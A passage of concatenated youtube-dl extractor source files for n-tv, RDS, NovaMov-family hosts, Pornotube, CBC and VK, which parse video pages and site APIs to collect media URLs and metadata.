            'description': 'Schnee und Glätte sorgen deutschlandweit für einen chaotischen Start in die Woche: Auf den Straßen kommt es zu kilometerlangen Staus und Dutzenden Glätteunfällen. In Düsseldorf und München wirbelt der Schnee zudem den Flugplan durcheinander. Dutzende Flüge landen zu spät, einige fallen ganz aus.',
            'duration': 4020,
            'timestamp': 1422892797,
            'upload_date': '20150202',
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        info = self._parse_json(self._search_regex(
            r'(?s)ntv\.pageInfo\.article\s*=\s*(\{.*?\});', webpage, 'info'),
            video_id, transform_source=js_to_json)
        timestamp = int_or_none(info.get('publishedDateAsUnixTimeStamp'))
        vdata = self._parse_json(self._search_regex(
            r'(?s)\$\(\s*"\#player"\s*\)\s*\.data\(\s*"player",\s*(\{.*?\})\);',
            webpage, 'player data'), video_id,
            transform_source=lambda s: js_to_json(re.sub(r'advertising:\s*{[^}]+},', '', s)))
        duration = parse_duration(vdata.get('duration'))

        formats = []
        if vdata.get('video'):
            formats.append({
                'format_id': 'flash',
                'url': 'rtmp://fms.n-tv.de/%s' % vdata['video'],
            })
        if vdata.get('videoMp4'):
            formats.append({
                'format_id': 'mobile',
                'url': compat_urlparse.urljoin('http://video.n-tv.de', vdata['videoMp4']),
                'tbr': 400,  # estimation
            })
        if vdata.get('videoM3u8'):
            m3u8_url = compat_urlparse.urljoin('http://video.n-tv.de', vdata['videoM3u8'])
            formats.extend(self._extract_m3u8_formats(
                m3u8_url, video_id, ext='mp4', entry_protocol='m3u8_native',
                preference=0, m3u8_id='hls', fatal=False))
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': info['headline'],
            'description': info.get('intro'),
            'alt_title': info.get('kicker'),
            'timestamp': timestamp,
            'thumbnail': vdata.get('html5VideoPoster'),
            'duration': duration,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    parse_duration,
    parse_iso8601,
    js_to_json,
)
from ..compat import compat_str


class RDSIE(InfoExtractor):
    IE_DESC = 'RDS.ca'
    _VALID_URL = r'https?://(?:www\.)?rds\.ca/vid(?:[eé]|%C3%A9)os/(?:[^/]+/)*(?P<id>[^/]+)-\d+\.\d+'

    _TESTS = [{
        'url': 'http://www.rds.ca/videos/football/nfl/fowler-jr-prend-la-direction-de-jacksonville-3.1132799',
        'info_dict': {
            'id': '604333',
            'display_id': 'fowler-jr-prend-la-direction-de-jacksonville',
            'ext': 'mp4',
            'title': 'Fowler Jr. prend la direction de Jacksonville',
            'description': 'Dante Fowler Jr. est le troisième choix du repêchage 2015 de la NFL. ',
            'timestamp': 1430397346,
            'upload_date': '20150430',
            'duration': 154.354,
            'age_limit': 0,
        }
    }, {
        'url': 'http://www.rds.ca/vid%C3%A9os/un-voyage-positif-3.877934',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        item = self._parse_json(self._search_regex(r'(?s)itemToPush\s*=\s*({.+?});', webpage, 'item'), display_id, js_to_json)
        video_id = compat_str(item['id'])
        title = item.get('title') or self._og_search_title(webpage) or self._html_search_meta(
            'title', webpage, 'title', fatal=True)
        description = self._og_search_description(webpage) or self._html_search_meta(
            'description', webpage, 'description')
        thumbnail = item.get('urlImageBig') or self._og_search_thumbnail(webpage) or self._search_regex(
            [r'<link[^>]+itemprop="thumbnailUrl"[^>]+href="([^"]+)"',
             r'<span[^>]+itemprop="thumbnailUrl"[^>]+content="([^"]+)"'],
            webpage, 'thumbnail', fatal=False)
        timestamp = parse_iso8601(self._search_regex(
            r'<span[^>]+itemprop="uploadDate"[^>]+content="([^"]+)"',
            webpage, 'upload date', fatal=False))
        duration = parse_duration(self._search_regex(
            r'<span[^>]+itemprop="duration"[^>]+content="([^"]+)"',
            webpage, 'duration', fatal=False))
        age_limit = self._family_friendly_search(webpage)

        return {
            '_type': 'url_transparent',
            'id': video_id,
            'display_id': display_id,
            'url': '9c9media:rds_web:%s' % video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
            'duration': duration,
            'age_limit': age_limit,
            'ie_key': 'NineCNineMedia',
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    ExtractorError,
    NO_DEFAULT,
    sanitized_Request,
    urlencode_postdata,
)


class NovaMovIE(InfoExtractor):
    IE_NAME = 'novamov'
    IE_DESC = 'NovaMov'

    _VALID_URL_TEMPLATE = r'''(?x)
                            http://
                                (?:
                                    (?:www\.)?%(host)s/(?:file|video|mobile/\#/videos)/|
                                    (?:(?:embed|www)\.)%(host)s/embed(?:\.php|/)?\?(?:.*?&)?\bv=
                                )
                                (?P<id>[a-z\d]{13})
                            '''
    _VALID_URL = _VALID_URL_TEMPLATE % {'host': 'novamov\.com'}

    _HOST = 'www.novamov.com'

    _FILE_DELETED_REGEX = r'This file no longer exists on our servers!</h2>'
    _FILEKEY_REGEX = r'flashvars\.filekey=(?P<filekey>"?[^"]+"?);'
    _TITLE_REGEX = r'(?s)<div class="v_tab blockborder rounded5" id="v_tab1">\s*<h3>([^<]+)</h3>'
    _DESCRIPTION_REGEX = r'(?s)<div class="v_tab blockborder rounded5" id="v_tab1">\s*<h3>[^<]+</h3><p>([^<]+)</p>'
    _URL_TEMPLATE = 'http://%s/video/%s'

    _TEST = None

    def _check_existence(self, webpage, video_id):
        if re.search(self._FILE_DELETED_REGEX, webpage) is not None:
            raise ExtractorError('Video %s does not exist' % video_id, expected=True)

    def _real_extract(self, url):
        video_id = self._match_id(url)

        url = self._URL_TEMPLATE % (self._HOST, video_id)

        webpage = self._download_webpage(
            url, video_id, 'Downloading video page')

        self._check_existence(webpage, video_id)

        def extract_filekey(default=NO_DEFAULT):
            filekey = self._search_regex(
                self._FILEKEY_REGEX, webpage, 'filekey', default=default)
            if filekey is not default and (filekey[0] != '"' or filekey[-1] != '"'):
                return self._search_regex(
                    r'var\s+%s\s*=\s*"([^"]+)"' % re.escape(filekey), webpage, 'filekey', default=default)
            else:
                return filekey

        filekey = extract_filekey(default=None)

        if not filekey:
            fields = self._hidden_inputs(webpage)
            post_url = self._search_regex(
                r'<form[^>]+action=(["\'])(?P<url>.+?)\1', webpage,
                'post url', default=url, group='url')
            if not post_url.startswith('http'):
                post_url = compat_urlparse.urljoin(url, post_url)
            request = sanitized_Request(
                post_url, urlencode_postdata(fields))
            request.add_header('Content-Type', 'application/x-www-form-urlencoded')
            request.add_header('Referer', post_url)
            webpage = self._download_webpage(
                request, video_id, 'Downloading continue to the video page')
            self._check_existence(webpage, video_id)

        filekey = extract_filekey()

        title = self._html_search_regex(self._TITLE_REGEX, webpage, 'title')
        description = self._html_search_regex(self._DESCRIPTION_REGEX, webpage, 'description', default='', fatal=False)

        api_response = self._download_webpage(
            'http://%s/api/player.api.php?key=%s&file=%s' % (self._HOST, filekey, video_id), video_id,
            'Downloading video api response')

        response = compat_urlparse.parse_qs(api_response)

        if 'error_msg' in response:
            raise ExtractorError('%s returned error: %s' % (self.IE_NAME, response['error_msg'][0]), expected=True)

        video_url = response['url'][0]

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': description
        }


class WholeCloudIE(NovaMovIE):
    IE_NAME = 'wholecloud'
    IE_DESC = 'WholeCloud'

    _VALID_URL = NovaMovIE._VALID_URL_TEMPLATE % {'host': '(?:wholecloud\.net|movshare\.(?:net|sx|ag))'}

    _HOST = 'www.wholecloud.net'

    _FILE_DELETED_REGEX = r'>This file no longer exists on our servers.<'
    _TITLE_REGEX = r'<strong>Title:</strong> ([^<]+)</p>'
    _DESCRIPTION_REGEX = r'<strong>Description:</strong> ([^<]+)</p>'

    _TEST = {
        'url': 'http://www.wholecloud.net/video/559e28be54d96',
        'md5': 'abd31a2132947262c50429e1d16c1bfd',
        'info_dict': {
            'id': '559e28be54d96',
            'ext': 'flv',
            'title': 'dissapeared image',
            'description': 'optical illusion  dissapeared image  magic illusion',
        }
    }


class NowVideoIE(NovaMovIE):
    IE_NAME = 'nowvideo'
    IE_DESC = 'NowVideo'

    _VALID_URL = NovaMovIE._VALID_URL_TEMPLATE % {'host': 'nowvideo\.(?:to|ch|ec|sx|eu|at|ag|co|li)'}

    _HOST = 'www.nowvideo.to'

    _FILE_DELETED_REGEX = r'>This file no longer exists on our servers.<'
    _TITLE_REGEX = r'<h4>([^<]+)</h4>'
    _DESCRIPTION_REGEX = r'</h4>\s*<p>([^<]+)</p>'

    _TEST = {
        'url': 'http://www.nowvideo.sx/video/f1d6fce9a968b',
        'md5': '12c82cad4f2084881d8bc60ee29df092',
        'info_dict': {
            'id': 'f1d6fce9a968b',
            'ext': 'flv',
            'title': 'youtubedl test video BaWjenozKc',
            'description': 'Description',
        },
    }


class VideoWeedIE(NovaMovIE):
    IE_NAME = 'videoweed'
    IE_DESC = 'VideoWeed'

    _VALID_URL = NovaMovIE._VALID_URL_TEMPLATE % {'host': 'videoweed\.(?:es|com)'}

    _HOST = 'www.videoweed.es'

    _FILE_DELETED_REGEX = r'>This file no longer exists on our servers.<'
    _TITLE_REGEX = r'<h1 class="text_shadow">([^<]+)</h1>'
    _URL_TEMPLATE = 'http://%s/file/%s'

    _TEST = {
        'url': 'http://www.videoweed.es/file/b42178afbea14',
        'md5': 'abd31a2132947262c50429e1d16c1bfd',
        'info_dict': {
            'id': 'b42178afbea14',
            'ext': 'flv',
            'title': 'optical illusion  dissapeared image magic illusion',
            'description': ''
        },
    }


class CloudTimeIE(NovaMovIE):
    IE_NAME = 'cloudtime'
    IE_DESC = 'CloudTime'

    _VALID_URL = NovaMovIE._VALID_URL_TEMPLATE % {'host': 'cloudtime\.to'}

    _HOST = 'www.cloudtime.to'

    _FILE_DELETED_REGEX = r'>This file no longer exists on our servers.<'
    _TITLE_REGEX = r'<div[^>]+class=["\']video_det["\'][^>]*>\s*<strong>([^<]+)</strong>'

    _TEST = None


class AuroraVidIE(NovaMovIE):
    IE_NAME = 'auroravid'
    IE_DESC = 'AuroraVid'

    _VALID_URL = NovaMovIE._VALID_URL_TEMPLATE % {'host': 'auroravid\.to'}

    _HOST = 'www.auroravid.to'

    _FILE_DELETED_REGEX = r'This file no longer exists on our servers!<'

    _TESTS = [{
        'url': 'http://www.auroravid.to/video/4rurhn9x446jj',
        'md5': '7205f346a52bbeba427603ba10d4b935',
        'info_dict': {
            'id': '4rurhn9x446jj',
            'ext': 'flv',
            'title': 'search engine optimization',
            'description': 'search engine optimization is used to rank the web page in the google search engine'
        },
        'skip': '"Invalid token" errors abound (in web interface as well as youtube-dl, there is nothing we can do about it.)'
    }, {
        'url': 'http://www.auroravid.to/embed/?v=4rurhn9x446jj',
        'only_matching': True,
    }]






from __future__ import unicode_literals

import json

from .common import InfoExtractor
from ..utils import int_or_none


class PornotubeIE(InfoExtractor):
    _VALID_URL = r'https?://(?:\w+\.)?pornotube\.com/(?:[^?#]*?)/video/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.pornotube.com/orientation/straight/video/4964/title/weird-hot-and-wet-science',
        'md5': '60fc5a4f0d93a97968fc7999d98260c9',
        'info_dict': {
            'id': '4964',
            'ext': 'mp4',
            'upload_date': '20141203',
            'title': 'Weird Hot and Wet Science',
            'description': 'md5:a8304bef7ef06cb4ab476ca6029b01b0',
            'categories': ['Adult Humor', 'Blondes'],
            'uploader': 'Alpha Blue Archives',
            'thumbnail': 're:^https?://.*\\.jpg$',
            'timestamp': 1417582800,
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        token = self._download_json(
            'https://api.aebn.net/auth/v2/origins/authenticate',
            video_id, note='Downloading token',
            data=json.dumps({'credentials': 'Clip Application'}).encode('utf-8'),
            headers={
                'Content-Type': 'application/json',
                'Origin': 'http://www.pornotube.com',
            })['tokenKey']

        video_url = self._download_json(
            'https://api.aebn.net/delivery/v1/clips/%s/MP4' % video_id,
            video_id, note='Downloading delivery information',
            headers={'Authorization': token})['mediaUrl']

        FIELDS = (
            'title', 'description', 'startSecond', 'endSecond', 'publishDate',
            'studios{name}', 'categories{name}', 'movieId', 'primaryImageNumber'
        )

        info = self._download_json(
            'https://api.aebn.net/content/v2/clips/%s?fields=%s'
            % (video_id, ','.join(FIELDS)), video_id,
            note='Downloading metadata',
            headers={'Authorization': token})

        if isinstance(info, list):
            info = info[0]

        title = info['title']

        timestamp = int_or_none(info.get('publishDate'), scale=1000)
        uploader = info.get('studios', [{}])[0].get('name')
        movie_id = info.get('movieId')
        primary_image_number = info.get('primaryImageNumber')
        thumbnail = None
        if movie_id and primary_image_number:
            thumbnail = 'http://pic.aebn.net/dis/t/%s/%s_%08d.jpg' % (
                movie_id, movie_id, primary_image_number)
        start = int_or_none(info.get('startSecond'))
        end = int_or_none(info.get('endSecond'))
        duration = end - start if start and end else None
        categories = [c['name'] for c in info.get('categories', []) if c.get('name')]

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': info.get('description'),
            'duration': duration,
            'timestamp': timestamp,
            'uploader': uploader,
            'thumbnail': thumbnail,
            'categories': categories,
            'age_limit': 18,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    js_to_json,
    smuggle_url,
    try_get,
)


class CBCIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?cbc\.ca/(?!player/)(?:[^/]+/)+(?P<id>[^/?#]+)'
    _TESTS = [{
        # with mediaId
        'url': 'http://www.cbc.ca/22minutes/videos/clips-season-23/don-cherry-play-offs',
        'md5': '97e24d09672fc4cf56256d6faa6c25bc',
        'info_dict': {
            'id': '2682904050',
            'ext': 'mp4',
            'title': 'Don Cherry – All-Stars',
            'description': 'Don Cherry has a bee in his bonnet about AHL player John Scott because that guy’s got heart.',
            'timestamp': 1454463000,
            'upload_date': '20160203',
            'uploader': 'CBCC-NEW',
        },
        'skip': 'Geo-restricted to Canada',
    }, {
        # with clipId, feed available via tpfeed.cbc.ca and feed.theplatform.com
        'url': 'http://www.cbc.ca/22minutes/videos/22-minutes-update/22-minutes-update-episode-4',
        'md5': '162adfa070274b144f4fdc3c3b8207db',
        'info_dict': {
            'id': '2414435309',
            'ext': 'mp4',
            'title': '22 Minutes Update: What Not To Wear Quebec',
            'description': "This week's latest Canadian top political story is What Not To Wear Quebec.",
            'upload_date': '20131025',
            'uploader': 'CBCC-NEW',
            'timestamp': 1382717907,
        },
    }, {
        # with clipId, feed only available via tpfeed.cbc.ca
        'url': 'http://www.cbc.ca/archives/entry/1978-robin-williams-freestyles-on-90-minutes-live',
        'md5': '0274a90b51a9b4971fe005c63f592f12',
        'info_dict': {
            'id': '2487345465',
            'ext': 'mp4',
            'title': 'Robin Williams freestyles on 90 Minutes Live',
            'description': 'Wacky American comedian Robin Williams shows off his infamous "freestyle" comedic talents while being interviewed on CBC\'s 90 Minutes Live.',
            'upload_date': '19780210',
            'uploader': 'CBCC-NEW',
            'timestamp': 255977160,
        },
    }, {
        # multiple iframes
        'url': 'http://www.cbc.ca/natureofthings/blog/birds-eye-view-from-vancouvers-burrard-street-bridge-how-we-got-the-shot',
        'playlist': [{
            'md5': '377572d0b49c4ce0c9ad77470e0b96b4',
            'info_dict': {
                'id': '2680832926',
                'ext': 'mp4',
                'title': 'An Eagle\'s-Eye View Off Burrard Bridge',
                'description': 'Hercules the eagle flies from Vancouver\'s Burrard Bridge down to a nearby park with a mini-camera strapped to his back.',
                'upload_date': '20160201',
                'timestamp': 1454342820,
                'uploader': 'CBCC-NEW',
            },
        }, {
            'md5': '415a0e3f586113894174dfb31aa5bb1a',
            'info_dict': {
                'id': '2658915080',
                'ext': 'mp4',
                'title': 'Fly like an eagle!',
                'description': 'Eagle equipped with a mini camera flies from the world\'s tallest tower',
                'upload_date': '20150315',
                'timestamp': 1426443984,
                'uploader': 'CBCC-NEW',
            },
        }],
        'skip': 'Geo-restricted to Canada',
    }]

    @classmethod
    def suitable(cls, url):
        return False if CBCPlayerIE.suitable(url) else super(CBCIE, cls).suitable(url)

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        player_init = self._search_regex(
            r'CBC\.APP\.Caffeine\.initInstance\(({.+?})\);', webpage, 'player init',
            default=None)
        if player_init:
            player_info = self._parse_json(player_init, display_id, js_to_json)
            media_id = player_info.get('mediaId')
            if not media_id:
                clip_id = player_info['clipId']
                feed = self._download_json(
                    'http://tpfeed.cbc.ca/f/ExhSPC/vms_5akSXx4Ng_Zn?byCustomValue={:mpsReleases}{%s}' % clip_id,
                    clip_id, fatal=False)
                if feed:
                    media_id = try_get(feed, lambda x: x['entries'][0]['guid'], compat_str)
                if not media_id:
                    media_id = self._download_json(
                        'http://feed.theplatform.com/f/h9dtGB/punlNGjMlc1F?fields=id&byContent=byReleases%3DbyId%253D' + clip_id,
                        clip_id)['entries'][0]['id'].split('/')[-1]
            return self.url_result('cbcplayer:%s' % media_id, 'CBCPlayer', media_id)
        else:
            entries = [self.url_result('cbcplayer:%s' % media_id, 'CBCPlayer', media_id) for media_id in re.findall(r'<iframe[^>]+src="[^"]+?mediaId=(\d+)"', webpage)]
            return self.playlist_result(entries)


class CBCPlayerIE(InfoExtractor):
    _VALID_URL = r'(?:cbcplayer:|https?://(?:www\.)?cbc\.ca/(?:player/play/|i/caffeine/syndicate/\?mediaId=))(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.cbc.ca/player/play/2683190193',
        'md5': '64d25f841ddf4ddb28a235338af32e2c',
        'info_dict': {
            'id': '2683190193',
            'ext': 'mp4',
            'title': 'Gerry Runs a Sweat Shop',
            'description': 'md5:b457e1c01e8ff408d9d801c1c2cd29b0',
            'timestamp': 1455071400,
            'upload_date': '20160210',
            'uploader': 'CBCC-NEW',
        },
        'skip': 'Geo-restricted to Canada',
    }, {
        # Redirected from http://www.cbc.ca/player/AudioMobile/All%20in%20a%20Weekend%20Montreal/ID/2657632011/
        'url': 'http://www.cbc.ca/player/play/2657631896',
        'md5': 'e5e708c34ae6fca156aafe17c43e8b75',
        'info_dict': {
            'id': '2657631896',
            'ext': 'mp3',
            'title': 'CBC Montreal is organizing its first ever community hackathon!',
            'description': 'The modern technology we tend to depend on so heavily, is never without it\'s share of hiccups and headaches. Next weekend - CBC Montreal will be getting members of the public for its first Hackathon.',
            'timestamp': 1425704400,
            'upload_date': '20150307',
            'uploader': 'CBCC-NEW',
        },
    }, {
        # available only when we add `formats=MPEG4,FLV,MP3` to theplatform url
        'url': 'http://www.cbc.ca/player/play/2164402062',
        'md5': '17a61eb813539abea40618d6323a7f82',
        'info_dict': {
            'id': '2164402062',
            'ext': 'flv',
            'title': 'Cancer survivor four times over',
            'description': 'Tim Mayer has beaten three different forms of cancer four times in five years.',
            'timestamp': 1320410746,
            'upload_date': '20111104',
            'uploader': 'CBCC-NEW',
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        return {
            '_type': 'url_transparent',
            'ie_key': 'ThePlatform',
            'url': smuggle_url(
                'http://link.theplatform.com/s/ExhSPC/media/guid/2655402169/%s?mbr=true&formats=MPEG4,FLV,MP3' % video_id, {
                    'force_smil_url': True
                }),
            'id': video_id,
        }






# encoding: utf-8
from __future__ import unicode_literals

import collections
import re
import json
import sys

from .common import InfoExtractor
from ..compat import (
    compat_str,
    compat_urlparse,
)
from ..utils import (
    clean_html,
    ExtractorError,
    get_element_by_class,
    int_or_none,
    orderedSet,
    remove_start,
    str_to_int,
    unescapeHTML,
    unified_strdate,
    urlencode_postdata,
)
from .vimeo import VimeoIE
from .pladform import PladformIE


class VKBaseIE(InfoExtractor):
    _NETRC_MACHINE = 'vk'

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        login_page, url_handle = self._download_webpage_handle(
            'https://vk.com', None, 'Downloading login page')

        login_form = self._hidden_inputs(login_page)

        login_form.update({
            'email': username.encode('cp1251'),
            'pass': password.encode('cp1251'),
        })

        # https://new.vk.com/ serves two same remixlhk cookies in Set-Cookie header
        # and expects the first one to be set rather than second (see
        # https://github.com/rg3/youtube-dl/issues/9841#issuecomment-227871201).
        # As of RFC6265 the newer one cookie should be set into cookie store
        # what actually happens.
        # We will workaround this VK issue by resetting the remixlhk cookie to
        # the first one manually.
        for header, cookies in url_handle.headers.items():
            if header.lower() != 'set-cookie':
                continue
            if sys.version_info[0] >= 3:
                cookies = cookies.encode('iso-8859-1')
            cookies = cookies.decode('utf-8')
            remixlhk = re.search(r'remixlhk=(.+?);.*?\bdomain=(.+?)(?:[,;]|$)', cookies)
            if remixlhk:
                value, domain = remixlhk.groups()
                self._set_cookie(domain, 'remixlhk', value)
                break

        login_page = self._download_webpage(
            'https://login.vk.com/?act=login', None,
            note='Logging in as %s' % username,
            data=urlencode_postdata(login_form))

        if re.search(r'onLoginFailed', login_page):
            raise ExtractorError(
                'Unable to login, incorrect username and/or password', expected=True)

    def _real_initialize(self):
        self._login()


class VKIE(VKBaseIE):
    IE_NAME = 'vk'
    IE_DESC = 'VK'
    _VALID_URL = r'''(?x)
                    https?://
                        (?:
                            (?:
                                (?:(?:m|new)\.)?vk\.com/video_|
                                (?:www\.)?daxab.com/
                            )
                            ext\.php\?(?P<embed_query>.*?\boid=(?P<oid>-?\d+).*?\bid=(?P<id>\d+).*)|
                            (?:
                                (?:(?:m|new)\.)?vk\.com/(?:.+?\?.*?z=)?video|
                                (?:www\.)?daxab.com/embed/
                            )
                            (?P<videoid>-?\d+_\d+)(?:.*\blist=(?P<list_id>[\da-f]+))?
                        )
                    '''
    _TESTS = [
        {
            'url': 'http://vk.com/videos-77521?z=video-77521_162222515%2Fclub77521',
            'md5': '0deae91935c54e00003c2a00646315f0',
            'info_dict': {
                'id': '162222515',
                'ext': 'flv',
                'title': 'ProtivoGunz - Хуёвая песня',
                'uploader': 're:(?:Noize MC|Alexander Ilyashenko).*',
                'duration': 195,
                'upload_date': '20120212',
                'view_count': int,
            },
        },
        {
            'url': 'http://vk.com/video205387401_165548505',
            'md5': '6c0aeb2e90396ba97035b9cbde548700',
            'info_dict': {
                'id': '165548505',
                'ext': 'mp4',
                'uploader': 'Tom Cruise',
                'title': 'No name',
                'duration': 9,
                'upload_date': '20130721',
                'view_count': int,
            }
        },
        {
            'note': 'Embedded video',
            'url': 'http://vk.com/video_ext.php?oid=32194266&id=162925554&hash=7d8c2e0d5e05aeaa&hd=1',
            'md5': 'c7ce8f1f87bec05b3de07fdeafe21a0a',
            'info_dict': {
                'id': '162925554',
                'ext': 'mp4',
                'uploader': 'Vladimir Gavrin',
                'title': 'Lin Dan',
                'duration': 101,
                'upload_date': '20120730',
                'view_count': int,
            },
            'skip': 'This video has been removed from public access.',
        },
        {
            # VIDEO NOW REMOVED
            # please update if you find a video whose URL follows the same pattern
            'url': 'http://vk.com/video-8871596_164049491',
            'md5': 'a590bcaf3d543576c9bd162812387666',
            'note': 'Only available for registered users',
            'info_dict': {
                'id': '164049491',
                'ext': 'mp4',
                'uploader': 'Триллеры',
                'title': '► Бойцовский клуб / Fight Club 1999 [HD 720]',
                'duration': 8352,
                'upload_date': '20121218',
                'view_count': int,
            },
            'skip': 'Requires vk account credentials',
        },
        {
            'url': 'http://vk.com/hd_kino_mania?z=video-43215063_168067957%2F15c66b9b533119788d',
            'md5': '4d7a5ef8cf114dfa09577e57b2993202',
            'info_dict': {
                'id': '168067957',
                'ext': 'mp4',
                'uploader': 'Киномания - лучшее из мира кино',
                'title': ' ',
                'duration': 7291,
                'upload_date': '20140328',
            },
            'skip': 'Requires vk account credentials',
        },
        {
            'url': 'http://m.vk.com/video-43215063_169084319?list=125c627d1aa1cebb83&from=wall-43215063_2566540',
            'md5': '0c45586baa71b7cb1d0784ee3f4e00a6',
            'note': 'ivi.ru embed',
            'info_dict': {
                'id': '60690',
                'ext': 'mp4',
                'title': 'Книга Илая',
                'duration': 6771,
                'upload_date': '20140626',
                'view_count': int,
            },
            'skip': 'Only works from Russia',
        },
        {
            # video (removed?) only available with list id
            'url': 'https://vk.com/video30481095_171201961?list=8764ae2d21f14088d4',
            'md5': '091287af5402239a1051c37ec7b92913',
            'info_dict': {
                'id': '171201961',
                'ext': 'mp4',
                'title': 'ТюменцевВВ_09.07.2015',
                'uploader': 'Anton Ivanov',
                'duration': 109,
                'upload_date': '20150709',
                'view_count': int,
            },
        },
        {
            # youtube embed
            'url': 'https://vk.com/video276849682_170681728',
            'info_dict': {
                'id': 'V3K4mi0SYkc',
                'ext': 'webm',
                'title': "DSWD Awards 'Children's Joy Foundation, Inc.' Certificate of Registration and License to Operate",
                'description': 'md5:d9903938abdc74c738af77f527ca0596',
                'duration': 178,
                'upload_date': '20130116',
                'uploader': "Children's Joy Foundation",
                'uploader_id': 'thecjf',
                'view_count': int,
            },
        },
        {
            # video key is extra_data not url\d+
            'url': 'http://vk.com/video-110305615_171782105',
            'md5': 'e13fcda136f99764872e739d13fac1d1',
            'info_dict': {
                'id': '171782105',
                'ext': 'mp4',
                'title': 'S-Dance, репетиции к The way show',
                'uploader': 'THE WAY SHOW | 17 апреля',
                'upload_date': '20160207',
                'view_count': int,
            },
        },
        {
            # removed video, just testing that we match the pattern
            'url': 'http://vk.com/feed?z=video-43215063_166094326%2Fbb50cacd3177146d7a',
            'only_matching': True,
        },
        {
            # age restricted video, requires vk account credentials
            'url': 'https://vk.com/video205387401_164765225',
            'only_matching': True,
        },
        {
            # pladform embed
            'url': 'https://vk.com/video-76116461_171554880',
            'only_matching': True,
        },
        {
            'url': 'http://new.vk.com/video205387401_165548505',
            'only_matching': True,
        }
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('videoid')

        if video_id:
            info_url = 'https://vk.com/al_video.php?act=show&al=1&module=video&video=%s' % video_id
            # Some videos (removed?) can only be downloaded with list id specified
            list_id = mobj.group('list_id')
            if list_id:
                info_url += '&list=%s' % list_id
        else:
            info_url = 'http://vk.com/video_ext.php?' + mobj.group('embed_query')
            video_id = '%s_%s' % (mobj.group('oid'), mobj.group('id'))

        info_page = self._download_webpage(info_url, video_id)

        error_message = self._html_search_regex(
            [r'(?s)<!><div[^>]+class="video_layer_message"[^>]*>(.+?)</div>',
                r'(?s)<div[^>]+id="video_ext_msg"[^>]*>(.+?)</div>'],
            info_page, 'error message', default=None)
        if error_message:
            raise ExtractorError(error_message, expected=True)

        if re.search(r'<!>/login\.php\?.*\bact=security_check', info_page):
            raise ExtractorError(
                'You are trying to log in from an unusual location. You should confirm ownership at vk.com to log in with this IP.',
                expected=True)

        ERRORS = {
            r'>Видеозапись .*? была изъята из публичного доступа в связи с обращением правообладателя.<':
            'Video %s has been removed from public access due to rightholder complaint.',

            r'<!>Please log in or <':
            'Video %s is only available for registered users, '
            'use --username and --password options to provide account credentials.',

            r'<!>Unknown error':
            'Video %s does not exist.',

            r'<!>Видео временно недоступно':
            'Video %s is temporarily unavailable.',

            r'<!>Access denied':
            'Access denied to video %s.',
        }

        for error_re, error_msg in ERRORS.items():
            if re.search(error_re, info_page):
                raise ExtractorError(error_msg % video_id, expected=True)

        youtube_url = self._search_regex(
            r'<iframe[^>]+src="((?:https?:)?//www.youtube.com/embed/[^"]+)"',
            info_page, 'youtube iframe', default=None)
        if youtube_url:
            return self.url_result(youtube_url, 'Youtube')

        vimeo_url = VimeoIE._extract_vimeo_url(url, info_page)
        if vimeo_url is not None:
            return self.url_result(vimeo_url)

        pladform_url = PladformIE._extract_url(info_page)
        if pladform_url:
            return self.url_result(pladform_url)

        m_rutube = re.search(
            r'\ssrc="((?:https?:)?//rutube\.ru\\?/(?:video|play)\\?/embed(?:.*?))\\?"', info_page)
        if m_rutube is not None:
            rutube_url = self._proto_relative_url(
                m_rutube.group(1).replace('\\', ''))
            return self.url_result(rutube_url)

        m_opts = re.search(r'(?s)var\s+opts\s*=\s*({.+?});', info_page)
        if m_opts:
            m_opts_url = re.search(r"url\s*:\s*'((?!/\b)[^']+)", m_opts.group(1))
            if m_opts_url:
                opts_url = m_opts_url.group(1)
                if opts_url.startswith('//'):
                    opts_url = 'http:' + opts_url
                return self.url_result(opts_url)

        data_json = self._search_regex(r'var\s+vars\s*=\s*({.+?});', info_page, 'vars')
        data = json.loads(data_json)

        # Extract upload date
        upload_date = None
        mobj = re.search(r'id="mv_date(?:_views)?_wrap"[^>]*>([a-zA-Z]+ [0-9]+), ([0-9]+) at', info_page)
        if mobj is not None:
            mobj.group(1) + ' ' + mobj.group(2)
            upload_date = unified_strdate(mobj.group(1) + ' ' + mobj.group(2))

        view_count = None
        views = self._html_search_regex(
            r'"mv_views_count_number"[^>]*>(.+?\bviews?)<',
            info_page, 'view count', default=None)
        if views:
            view_count = str_to_int(self._search_regex(
                r'([\d,.]+)', views, 'view count', fatal=False))

        formats = []
        for k, v in data.items():
            if not k.startswith('url') and not k.startswith('cache') and k != 'extra_data' or not v:
                continue
            height = int_or_none(self._search_regex(
                r'^(?:url|cache)(\d+)', k, 'height', default=None))
            formats.append({
                'format_id': k,
                'url': v,
                'height': height,
            })
        self._sort_formats(formats)

        return {
            'id': compat_str(data['vid']),
            'formats': formats,
            'title': unescapeHTML(data['md_title']),
            'thumbnail': data.get('jpg'),
            'uploader': data.get('md_author'),
            'duration': data.get('duration'),
            'upload_date': upload_date,
            'view_count': view_count,
        }


class VKUserVideosIE(VKBaseIE):
    IE_NAME = 'vk:uservideos'
    IE_DESC = "VK - User's Videos"
    _VALID_URL = r'https?://(?:(?:m|new)\.)?vk\.com/videos(?P<id>-?[0-9]+)(?!\?.*\bz=video)(?:[/?#&]|$)'
    _TEMPLATE_URL = 'https://vk.com/videos'
    _TESTS = [{
